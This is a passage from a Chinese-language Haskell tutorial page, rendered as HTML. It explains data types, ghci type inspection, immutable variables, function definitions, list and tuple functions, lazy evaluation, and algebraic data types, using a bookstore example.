id="数据类型">数据类型</h2><p><strong>在 Haskell 里，所有类型名字都以大写字母开头，而所有变量名字都以小写字母开头。它不会自动地将值从一个类型转换到另一个类型（转换有时又称为强制或变换）</strong></p><ol><li><p>列表：<code>[1,2,3]</code>，和 python 类似，但是列表的元素类型需要一致。</p><p>列表可以使用枚举符号，也就是说 <code>[1,2..6]</code> 会自动补全为<code>[1,2,3,4,5,6]</code>。<code>[1,4..15]</code> 补全为<code>[1,4,7,10,13]</code></p><p>新建列表也可以写成集合的形式，例如</p></li><li><p>字符和字符串和 C 语言类似。 <code>'a'</code> 是字符， <code>&quot;a&quot;</code> 是字符串。<strong>字符串也是列表，可以当作字符的列表，是等价的。</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">ghci&gt; let a = [&#x27;l&#x27;, &#x27;o&#x27;, &#x27;t&#x27;, &#x27;s&#x27;, &#x27; &#x27;, &#x27;o&#x27;, &#x27;f&#x27;, &#x27; &#x27;, &#x27;w&#x27;, &#x27;o&#x27;, &#x27;r&#x27;, &#x27;k&#x27;]</span><br><span class="line">ghci&gt; a</span><br><span class="line">&quot;lots of work&quot;</span><br><span class="line">ghci&gt; a == &quot;lots of work&quot;</span><br><span class="line">True</span><br></pre></td></tr></table></figure><p>所以可以得到类似的结论</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Prelude&gt; &quot;123&quot;++&quot;abc&quot;</span><br><span class="line">&quot;123abc&quot;</span><br><span class="line">Prelude&gt; &#x27;x&#x27;:&quot;123&quot;++&quot;abc&quot;</span><br><span class="line">&quot;x123abc&quot;</span><br></pre></td></tr></table></figure></li><li><p>元组的长度是固定的，但可以包含不同类型的值。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Prelude&gt; (1964, &quot;Labyrinths&quot;)</span><br><span class="line">(1964,&quot;Labyrinths&quot;)</span><br></pre></td></tr></table></figure><p>元组是有顺序的，比较的时候是对应元素比较</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">Prelude&gt; :type (False, &#x27;a&#x27;)</span><br><span class="line">(False, &#x27;a&#x27;) :: (Bool, Char)</span><br><span class="line">Prelude&gt; :type (&#x27;a&#x27;,False)</span><br><span class="line">(&#x27;a&#x27;,False) :: (Char, Bool)</span><br><span class="line">Prelude&gt; (False, &#x27;a&#x27;) == (False, &#x27;a&#x27;)</span><br><span class="line">True</span><br><span class="line">Prelude&gt; (False, &#x27;a&#x27;) == (&#x27;a&#x27;,False)</span><br><span class="line"></span><br><span class="line">&lt;interactive&gt;:10:18: error:</span><br><span class="line">• Couldn&#x27;t match expected type ‘Bool’ with actual type ‘Char’</span><br><span class="line">• In the expression: &#x27;a&#x27;</span><br><span class="line">In the second argument of ‘(==)’, namely ‘(&#x27;a&#x27;, False)’</span><br><span class="line">In the expression: (False, &#x27;a&#x27;) == (&#x27;a&#x27;, False)</span><br><span class="line"></span><br><span class="line">&lt;interactive&gt;:10:22: error:</span><br><span class="line">• Couldn&#x27;t match expected type ‘Char’ with actual type ‘Bool’</span><br><span class="line">• In the expression: False</span><br><span class="line">In the second argument of ‘(==)’, namely ‘(&#x27;a&#x27;, False)’</span><br><span class="line">In the expression: (False, &#x27;a&#x27;) == (&#x27;a&#x27;, False)</span><br></pre></td></tr></table></figure></li><li><p>分数表示比较特殊，<code>1/2</code> 表示为 <code>1%2</code>，它实际上是比较精确的比例，<code>:m +Data.Ratio</code> 表示引入 Data.Ratio module。相应的，也可以撤销引入的模块 <code>:m -Data.Ratio</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">Prelude&gt; :m +Data.Ratio</span><br><span class="line">Prelude Data.Ratio&gt; 11%29</span><br><span class="line">11 % 29</span><br><span class="line">it :: Integral a =&gt; Ratio a</span><br></pre></td></tr></table></figure></li><li><p><code>Char</code>：单个 Unicode 字符。</p></li><li><p><code>Bool</code>表示一个布尔逻辑值。这个类型只有两个值： <code>True</code> 和 <code>False</code> 。</p></li><li><p><code>Int</code> 带符号的定长（fixed-width）整数。这个值的准确范围由机器决定：在 32 位机器里， <code>Int</code> 为 32 位宽，在 64 位机器里， <code>Int</code> 为 64 位宽。Haskell 保证 <code>Int</code> 的宽度不少于 28 位。（数值类型还可以是 8 位、16 位，等等，也可以是带符号和无符号的，以后会介绍。）</p></li><li><p><code>Integer</code> 不限长度的带符号整数。 <code>Integer</code> 并不像 <code>Int</code> 那么常用，因为它们需要更多的内存和更大的计算量。另一方面，对 <code>Integer</code> 的计算不会造成溢出，因此使用 <code>Integer</code> 的计算结果更可靠。</p></li><li><p><code>Double</code> 用于表示浮点数。长度由机器决定，通常是 64 位。（Haskell 也有 <code>Float</code> 类型，但是并不推荐使用，因为编译器都是针对 <code>Double</code> 来进行优化的，而 <code>Float</code> 类型值的计算要慢得多。）</p></li></ol><p>还有一类是容器类型，最常见的容器类型是列表（List），它可以包含任何类型的元素，例如<code>[Int]</code>表示整数列表，<code>[Char]</code>表示字符列表（也就是 String）。Haskell 中的其他常见容器类型包括：</p><ul><li><code>Maybe</code>：一个可能包含元素也可能为空的容器。<code>Maybe Int</code>可以包含一个<code>Int</code>或者什么都不包含。</li><li><code>Either</code>：一个可以包含两种类型之一的元素的容器。<code>Either String Int</code>可以包含一个<code>String</code>或一个<code>Int</code>。</li><li><code>Set</code>：一个包含不重复元素的容器。</li><li><code>Map</code>：一个键值对的容器，你可以根据键找到对应的值。</li><li><code>Tree</code>：一个树形结构的容器，每个节点都可以包含一个值。</li></ul><hr><p>ghci 也可以设置命令行的参数，可以执行 <code>:set +t</code> 让打印变量时也打印类型</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">Prelude&gt; :set +t</span><br><span class="line">Prelude&gt; &#x27;c&#x27;</span><br><span class="line">&#x27;c&#x27;</span><br><span class="line">it :: Char</span><br><span class="line"></span><br><span class="line">Prelude&gt; [1,2,3]</span><br><span class="line">[1,2,3]</span><br><span class="line">it :: Num a =&gt; [a]</span><br><span class="line"></span><br><span class="line">Prelude&gt; &quot;abc&quot;</span><br><span class="line">&quot;abc&quot;</span><br><span class="line">it :: [Char]</span><br><span class="line"></span><br><span class="line">Prelude&gt; 1</span><br><span class="line">1</span><br><span class="line">it :: Num p =&gt; p</span><br><span class="line"></span><br><span class="line">Prelude&gt; 0.5</span><br><span class="line">0.5</span><br><span class="line">it :: Fractional p =&gt; p</span><br><span class="line"></span><br><span class="line">Prelude&gt; :m +Data.Ratio</span><br><span class="line">Prelude Data.Ratio&gt; 11%29</span><br><span class="line">11 % 29</span><br><span class="line">it :: Integral a =&gt; Ratio a</span><br></pre></td></tr></table></figure><ul><li><code>x :: y</code> 表示表达式 <code>x</code> 的类型为 <code>y</code></li><li>[Char] 表示由 char 类型的元素构成的数组。</li><li><code>=&gt;</code> 左边表示·变量的类型约束，比如 <code>Num</code> 是类型类，它约束了 <code>p</code> 必须是 <code>Num</code> 类型的变量。右边是表示函数类型。我们看一个复杂的例子</li></ul><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">squareSum</span> :: <span class="type">Num</span> a =&gt; a -&gt; a -&gt; a</span><br><span class="line"><span class="title">squareSum</span> x y = (x + y) * (x + y)</span><br></pre></td></tr></table></figure><p>这里 <code>=&gt;</code> 规定 <code>a</code> 是 <code>Num</code> 类型的变量，函数类型是 <code> a -&gt; a -&gt; a</code>。其中函数类型是由 <code>-&gt;</code> 构成的，它表示可以接受一个参数，然后返回一个函数。当接受到 2 个参数后，它就会返回 <code>a</code>。<code>-&gt;</code> 的作用就是将参数和函数返回类型链接在一起。</p><p>另外的命令行参数 <code>:type</code> 可以直接地看到变量的类型。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Prelude Data.Ratio&gt; :type 1</span><br><span class="line">1 :: Num p =&gt; p</span><br></pre></td></tr></table></figure><p><strong>显式指定类型</strong></p><p><code>::</code> 可以显式指定类型，叫做类型签名。<code>'a' :: Char</code></p><h2 id="变量">变量</h2><p>如果你曾经用过命令式语言（如 C、C++、Java 等），就会发现 Haskell 的变量和命令式语言的变量很不同：在命令式语言里，一个变量通常用于标识一个内存位置（或者其他类似的东西），并且在任何时候，都可以随意修改这个变量的值。因此在不同时间点上，访问这个变量得出的值可能是完全不同的。</p><p>在 Haskell 里，可以使用变量来赋予表达式名字：一旦变量绑定了（也即是，关联起）某个表达式，那么这个变量的值就不会改变。文件 assign.hs 内容是</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">x</span>=<span class="number">1</span></span><br><span class="line"><span class="title">x</span>=<span class="number">2</span></span><br></pre></td></tr></table></figure><p>结果如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">(base) ➜  vim assign.hs</span><br><span class="line">(base) ➜  ghci</span><br><span class="line">Prelude&gt; :load assign.hs</span><br><span class="line">[1 of 1] Compiling Main             ( assign.hs, interpreted )</span><br><span class="line"></span><br><span class="line">assign.hs:2:1: error:</span><br><span class="line">    Multiple declarations of ‘x’</span><br><span class="line">    Declared at: assign.hs:1:1</span><br><span class="line">                 assign.hs:2:1</span><br><span class="line">  |</span><br><span class="line">2 | x=2</span><br><span class="line">  | ^</span><br><span class="line">Failed, no modules loaded.</span><br></pre></td></tr></table></figure><h2 id="函数调用">函数调用</h2><p>基本格式是函数名和参数，如下：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">Prelude&gt; odd 3</span><br><span class="line">True</span><br><span class="line"></span><br><span class="line">Prelude&gt; odd 6</span><br><span class="line">False</span><br><span class="line"></span><br><span class="line">Prelude&gt; compare 2 3</span><br><span class="line">LT</span><br><span class="line"></span><br><span class="line">Prelude&gt; compare 3 3</span><br><span class="line">EQ</span><br><span class="line"></span><br><span class="line">Prelude&gt; compare 3 2</span><br><span class="line">GT</span><br></pre></td></tr></table></figure><p><strong>函数的优先级比操作符要高</strong></p><p>函数也具有类型，表示输入到输出的映射</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Prelude&gt; add a b = a+b</span><br><span class="line">Prelude&gt; add 2 3</span><br><span class="line">5</span><br><span class="line">Prelude&gt; :type add</span><br><span class="line">add :: Num a =&gt; a -&gt; a -&gt; a</span><br></pre></td></tr></table></figure><p>这里很多的箭头表示，一个数 a 映射到 <code>a -&gt; (a -&gt; a)</code> 函数，也就是返回了 <code>a -&gt; (a -&gt; a)</code> 函数，接着根据 <code>a</code> 的值返回 <code>a -&gt; a</code> 函数，直到最后返回一个数。</p><h2 id="函数定义">函数定义</h2><p><code>add a b = a + b</code> 中， <code>add</code> 是函数名，后面是参数，<code>=</code> 之后是函数体。可以加载定义好的函数，也就是加载模块。</p><p>add.hs 里是上述代码，然后</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">(base) ➜  vim add.hs</span><br><span class="line">(base) ➜  ghci</span><br><span class="line">Prelude&gt; :load add.hs</span><br><span class="line">[1 of 1] Compiling Main             ( add.hs, interpreted )</span><br><span class="line">Ok, one module loaded.</span><br><span class="line">*Main&gt; add 4.1 5</span><br><span class="line">9.1</span><br></pre></td></tr></table></figure><p>在 Haskell 里，<strong>代码的缩进非常重要</strong>：它会延续（continue）一个已存在的定义，而不是新创建一个。所以，不要省略缩进！</p><p>Haskell 也是使用缩进来表示一个表达式或者块延伸的范围的，这点与 Python 类似。Haskell 的缩进规则简单总结起来只用下面三条：</p><ol><li>源文件中第一个顶级的定义或者声明的缩进，定义了该文件中所有顶级定义或者声明的缩进；</li><li>空白行（只有注释的行也认为是空白行）和比前面某一行更加向右的缩进都表示对前面那一行所在块或者表达式的继续；</li><li>由 let 和 where 开始的一个块，在 let 或者 where 关键字后第一个定义或者声明的缩进，定义了该块中所有定义或者声明应该具有的缩进。</li></ol><p>定义函数如下：</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">myDrop</span> n xs = <span class="keyword">if</span> n&lt;= <span class="number">0</span> || null xs</span><br><span class="line">    <span class="keyword">then</span> xs</span><br><span class="line">    <span class="keyword">else</span> myDrop (n-<span class="number">1</span>) (tail xs)</span><br><span class="line"><span class="comment">-- null 判断是否是空值，这里是列表是否为空</span></span><br><span class="line"><span class="comment">-- 这里是递归的形式，实际上还是很清楚的</span></span><br></pre></td></tr></table></figure><p>上述代码也支持写成一行：</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">myDropX</span> n xs = <span class="keyword">if</span> n &lt;= <span class="number">0</span> || null xs <span class="keyword">then</span> xs <span class="keyword">else</span> myDropX (n - <span class="number">1</span>) (tail xs)</span><br></pre></td></tr></table></figure><h3 id="操作列表的函数">操作列表的函数</h3><p><code>head</code> 函数取出列表的第一个元素：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Prelude&gt; head [1, 2, 3, 4]</span><br><span class="line">1</span><br><span class="line"></span><br><span class="line">Prelude&gt; head [&#x27;a&#x27;, &#x27;b&#x27;, &#x27;c&#x27;]</span><br><span class="line">&#x27;a&#x27;</span><br></pre></td></tr></table></figure><p><code>tail</code> 取出列表里<em>除了第一个元素之外的其他元素</em>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">Prelude&gt; tail [1, 2, 3, 4]</span><br><span class="line">[2,3,4]</span><br><span class="line"></span><br><span class="line">Prelude&gt; tail [2, 3, 4]</span><br><span class="line">[3,4]</span><br><span class="line"></span><br><span class="line">Prelude&gt; tail [True, False]</span><br><span class="line">[False]</span><br></pre></td></tr></table></figure><p><code>take</code> 返回一个包含 <code>l</code> 前 <code>n</code> 个元素的列表：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Prelude&gt; take 2 [1, 2, 3, 4, 5]</span><br><span class="line">[1,2]</span><br></pre></td></tr></table></figure><p><code>drop</code> 则返回一个包含 <code>l</code> 丢弃了前 <code>n</code> 个元素之后，剩余元素的列表：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Prelude&gt; drop 2 [1, 2, 3, 4, 5]</span><br><span class="line">[3,4,5]</span><br></pre></td></tr></table></figure><h3 id="操作元组的函数">操作元组的函数</h3><p>函数 <code>fst</code> 和 <code>snd</code> 接受一个<strong>元组</strong>作为参数，返回该元组的第一个元素和第二个元素：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Prelude&gt; fst (1, &#x27;a&#x27;)</span><br><span class="line">1</span><br><span class="line"></span><br><span class="line">Prelude&gt; snd (1, &#x27;a&#x27;)</span><br><span class="line">&#x27;a&#x27;</span><br></pre></td></tr></table></figure><h2 id="惰性求值">惰性求值</h2><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- file: ch02/isOdd.hs</span></span><br><span class="line"><span class="title">isOdd</span> n = mod n <span class="number">2</span> == <span class="number">1</span></span><br></pre></td></tr></table></figure><p>这是 Haskell 很重要的特性。先说一般的编程语言（命令式编程语言），他们采用严格求值的方法，也就是：函数的参数总是在应用函数之前被求值。以 <code>isOdd</code> 为例子：子表达式 <code>(1 + 2)</code> 会首先被求值，得出结果 <code>3</code> 。接着，将 <code>3</code> 绑定到变量 <code>n</code> ，应用到函数 <code>isOdd</code> 。最后， <code>mod 3 2</code> 返回 <code>1</code> ，而 <code>1 == 1</code> 返回 <code>True</code> 。</p><p>但是 Haskell 采用非严格求值，求值 <code>isOdd (1 + 2)</code> 并不会即刻使得子表达式 <code>1 + 2</code> 被求值为 <code>3</code> ，相反，编译器做出了一个“承诺”，说，“当真正有需要的时候，我有办法计算出 <code>isOdd (1 + 2)</code> 的值”。</p><h2 id="面向表达式编程">面向表达式编程</h2><p>记住，Haskell 是一门以<strong>表达式为主导（expression-oriented）的语言，所有分支都是表达式，所有逻辑都是表达式嵌套表达式</strong>。在命令式语言中，代码由陈述（statement）而不是表达式组成，因此在省略 <code>if</code> 语句的 <code>else</code> 分支的情况下，程序仍是有意义的。但是，当代码由表达式组成时，一个缺少 <code>else</code> 分支的 <code>if</code> 语句，在条件部分为 <code>False</code> 时，是没有办法给出一个结果的，当然这个 <code>else</code> 分支也不会有任何类型，因此，省略 <code>else</code> 分支对于 Haskell 是无意义的，编译器也不会允许这么做。</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="title">myDropX</span> n xs = <span class="keyword">if</span> n &lt;= <span class="number">0</span> || null xs <span class="keyword">then</span> xs <span class="keyword">else</span> myDropX (n - <span class="number">1</span>) (tail xs)</span><br></pre></td></tr></table></figure><p>当执行表达式 <code>myDrop 2 &quot;abcd&quot;</code> 时，函数 <code>myDrop</code> 应用于值 <code>2</code> 和 <code>&quot;abcd&quot;</code> ，变量 <code>n</code> 被绑定为 <code>2</code> ，而变量 <code>xs</code> 被绑定为 <code>&quot;abcd&quot;</code> 。将这两个变量代换到 <code>myDrop</code> 的条件判断部分，就得出了以下表达式：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">*Main&gt; :type 2 &lt;= 0 || null &quot;abcd&quot;</span><br><span class="line">2 &lt;= 0 || null &quot;abcd&quot; :: Bool</span><br></pre></td></tr></table></figure><p>编译器需要对表达式 <code>2 &lt;= 0 || null &quot;abcd&quot;</code> 进行求值，从而决定 <code>if</code> 该执行哪一个分支。这需要对 <code>(||)</code> 表达式进行求值，而要求值这个表达式，又需要对它的左操作符进行求值：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">*Main&gt; 2 &lt;= 0</span><br><span class="line">False</span><br></pre></td></tr></table></figure><p>将值 <code>False</code> 代换到 <code>(||)</code> 表达式当中，得出以下表达式：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">*Main&gt; :type False || null &quot;abcd&quot;</span><br><span class="line">False || null &quot;abcd&quot; :: Bool</span><br></pre></td></tr></table></figure><p>如果 <code>(||)</code> 左操作符的值为 <code>True</code> ，那么 <code>(||)</code> 就不需要对右操作符进行求值，因为整个 <code>(||)</code> 表达式的值已经由左操作符决定了。[译注：在逻辑或计算中，只要有一个变量的值为真，那么结果就为真。]另一方面，因为这里左操作符的值为 <code>False</code> ，那么 <code>(||)</code> 表达式的值由右操作符的值来决定：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">*Main&gt; null &quot;abcd&quot;</span><br><span class="line">False</span><br></pre></td></tr></table></figure><p>最后，将左右两个操作对象的值分别替换回 <code>(||)</code> 表达式，得出以下表达式：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">*Main&gt; False || False</span><br><span class="line">False</span><br></pre></td></tr></table></figure><p>这个结果表明，下一步要求值的应该是 <code>if</code> 表达式的 <code>else</code> 分支，而这个分支包含一个对 <code>myDrop</code> 函数自身的递归调用： <code>myDrop (2 - 1) (tail &quot;abcd&quot;)</code> 。</p><h2 id="自定义类型">自定义类型</h2><h3 id="基本语法结构">基本语法结构</h3><p>以一个在线书店为例子，展示如何去进行类型定义。</p><p>使用 <code>data</code> 关键字可以定义新的数据类型：</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- file: BookStore.hs</span></span><br><span class="line"><span class="class"><span class="keyword">data</span> <span class="type">BookInfo</span> = <span class="type">Book</span> <span class="type">Int</span> <span class="type">String</span> [<span class="type">String</span>] <span class="keyword">deriving</span>(<span class="type">Show</span>)</span></span><br><span class="line"><span class="title">myInfo</span> = <span class="type">Book</span> <span class="number">9780135072455</span> <span class="string">&quot;Algebra of Programming&quot;</span></span><br><span class="line">              [<span class="string">&quot;Richard Bird&quot;</span>, <span class="string">&quot;Oege de Moor&quot;</span>]</span><br></pre></td></tr></table></figure><p>跟在 <code>data</code> 关键字之后的 <code>BookInfo</code> 就是新类型的名字，我们称 <code>BookInfo</code> 为<strong>类型构造器</strong>。类型构造器用于指代（refer）类型。正如前面提到过的，类型名字的首字母必须大写，因此，类型构造器的首字母也必须大写。</p><p>接下来的 <code>Book</code> 是<strong>值构造器</strong>（有时候也称为数据构造器）的名字，也就是声明变量时用的名字。类型的值就是由值构造器创建的。值构造器名字的首字母也必须大写。</p><p><strong>在 Haskell 里，类型的名字（类型构造器）和值构造器的名字是相互独立的。类型构造器只能出现在类型的定义，或者类型签名当中。而值构造器只能出现在实际的代码中。值构造器既可以是一般意义上的值，也可以是函数。</strong></p><p>在 <code>Book</code> 之后的 <code>Int</code> ， <code>String</code> 和 <code>[String]</code> 是类型的<em>组成部分</em>。组成部分的作用，和面向对象语言的类中的域作用一致：它是一个储存值的槽。（为了方便起见，我们通常也将组成部分称为域。）</p><p>在这个例子中， <code>Int</code> 表示一本书的 ID ，而 <code>String</code> 表示书名，而 <code>[String]</code> 则代表作者。<code>deriving (Show)</code> 表示继承了 Show 的属性，可以被打印出来。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">Prelude&gt; :load BookStore.hs</span><br><span class="line">[1 of 1] Compiling Main             ( BookStore.hs, interpreted )</span><br><span class="line">Ok, one module loaded.</span><br><span class="line">*Main&gt; myInfo</span><br><span class="line">Book 9780135072455 &quot;Algebra of Programming&quot; [&quot;Richard Bird&quot;,&quot;Oege de Moor&quot;]</span><br><span class="line"></span><br><span class="line">*Main&gt; a = Book 0 &quot;The Book of Imaginary Beings&quot; [&quot;Jorge Luis Borges&quot;]</span><br><span class="line">*Main&gt; a</span><br><span class="line">Book 0 &quot;The Book of Imaginary Beings&quot; [&quot;Jorge Luis Borges&quot;]</span><br></pre></td></tr></table></figure><p>可以获取相关信息：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">*Main&gt; :info BookInfo</span><br><span class="line">type BookInfo :: *</span><br><span class="line">data BookInfo = Book Int String [String]</span><br><span class="line">        -- Defined at BookStore.hs:1:1</span><br><span class="line">instance [safe] Show BookInfo -- Defined at BookStore.hs:1:51</span><br><span class="line"></span><br><span class="line">*Main&gt; :t Book</span><br><span class="line">Book :: Int -&gt; String -&gt; [String] -&gt; BookInfo</span><br></pre></td></tr></table></figure><p>在函数中的用法也比较类似，需要声明值选择器</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">*Main&gt; data Coord = Coord Int Int deriving (Show)</span><br><span class="line"></span><br><span class="line">*Main&gt; x = Coord 3 4</span><br><span class="line"></span><br><span class="line">*Main&gt; x</span><br><span class="line">Coord 3 4</span><br><span class="line"></span><br><span class="line">*Main&gt; add (Coord x y) = x+y</span><br><span class="line">*Main&gt; add x</span><br><span class="line">7</span><br></pre></td></tr></table></figure><p>多个自定义类型的用法也是类似的，理解表达式绑定到变量对应的位置即可。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">*Main&gt; add (Coord x y) (Coord a b) = x+y+a+b</span><br><span class="line">*Main&gt; x = Coord 1 2</span><br><span class="line">*Main&gt; y = Coord 10 20</span><br><span class="line">*Main&gt; add x y</span><br><span class="line">33</span><br></pre></td></tr></table></figure><h3 id="类型别名">类型别名</h3><p>和 C 语言非常类似，<code>type</code> 关键字用于设置类型别名，其中新的类型名字放在 <code>=</code> 号的左边，而已有的类型名字放在 <code>=</code> 号的右边。这两个名字都标识同一个类型，因此，类型别名完全是为了提高可读性而存在的。</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">type</span> <span class="type">CustomerID</span> = <span class="type">Int</span></span></span><br><span class="line"><span class="class"><span class="keyword">type</span> <span class="type">ReviewBody</span> = <span class="type">String</span></span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">data</span> <span class="type">BetterReview</span> = <span class="type">BetterReview</span> <span class="type">BookInfo</span> <span class="type">CustomerID</span> <span class="type">ReviewBody</span></span></span><br></pre></td></tr></table></figure><h3 id="多个值构造器">多个值构造器</h3><p>当一个类型拥有一个以上的值构造器时，这些值构造器通常被称为“备选”（alternatives）或“分支”（case）。同一类型的所有备选，创建出的的值的类型都是相同的。<strong>这相当于实现了「枚举类型」或者反映了 「多态性」，但是又比较特殊，因为每个分支都是一个表达式，既是类型也可以是函数其实函数和值都是表达式</strong>。值构造器相当于构造函数。</p><h4 id="枚举类型">枚举类型</h4><p>代数数据类型的各个值构造器都可以接受任意个数的参数。[译注：不同备选之间接受的参数个数不必相同，参数的类型也可以不一样。]以下是一个账单数据的例子：</p><figure class="highlight haskell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- file: BookStore.hs</span></span><br><span class="line"><span class="class"><span class="keyword">type</span> <span class="type">CardHolder</span> = <span class="type">String</span></span></span><br><span class="line"><span class="class"><span 